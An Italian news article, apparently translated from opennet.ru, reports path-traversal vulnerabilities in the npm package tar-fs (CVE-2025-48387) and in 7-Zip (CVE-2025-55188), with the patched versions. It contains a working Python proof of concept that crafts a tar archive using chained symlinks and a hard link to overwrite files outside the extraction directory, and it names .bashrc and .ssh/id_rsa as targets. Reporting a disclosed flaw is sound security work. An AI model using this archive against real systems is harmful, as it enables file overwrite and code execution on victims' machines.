Vulnerabilità in tar-fs e 7-Zip che consentono di scrivere file al di fuori della directory di base

Nel pacchetto NPM tar-fs è stata scoperta una vulnerabilità (CVE-2025-48387) che consente, durante l'estrazione di un archivio tar appositamente creato, di scrivere file in qualsiasi parte del file system, senza limitarsi alla directory in cui si effettua l'estrazione (in base ai diritti di accesso dell'utente attuale). La vulnerabilità può anche essere sfruttata per sovrascrivere file esistenti, ad esempio, per eseguire il proprio codice nel sistema, possono essere sovrascritti file come «.ssh/id_rsa» o «.bashrc» nella home dell'utente.

Alla problematica è stato assegnato un livello critico di pericolo considerando che il pacchetto tar-fs ha 23 milioni di download a settimana ed è utilizzato come dipendenza in 1155 progetti. La vulnerabilità è stata corretta nelle versioni 3.0.9, 2.1.3 e 1.16.5, rilasciate a maggio, ma le informazioni sulla vulnerabilità sono state rese pubbliche solo quasi 3 mesi dopo.

La vulnerabilità è causata da controlli insufficienti sulle link simbolici e duri esistenti nell'archivio per verificare se escono al di fuori della directory di destinazione durante l'estrazione. Per bypassare i controlli, vengono utilizzati due link simbolici: il primo punta alla radice della directory di estrazione dell'archivio ("."), mentre il secondo è creato in relazione al primo link simbolico e utilizza i caratteri "../" nel nome per uscire dalla directory di base. Ad esempio, il primo link "noop/noop/noop" punta a ".", e il secondo "noop/noop/noop/../../../" si espande come "./../../../". Per organizzare la sovrascrittura dei file nell'archivio, può essere creato un link duro che punta a un file esterno relativamente al secondo link simbolico. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

È stata identificata una vulnerabilità simile (CVE-2025-55188) nell'archiviatore 7-Zip. Per scrivere file al di fuori della directory di base in 7-Zip possono essere utilizzati anche i collegamenti simbolici contenenti la sequenza «../» nel percorso del file. Il problema può essere sfruttato durante la decompressione di archivi supportati da 7-Zip che supportano collegamenti simbolici, come zip, tar, 7z e rar. Il problema è stato risolto nella versione 7-Zip 25.01.

Fonte: opennet.ru

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster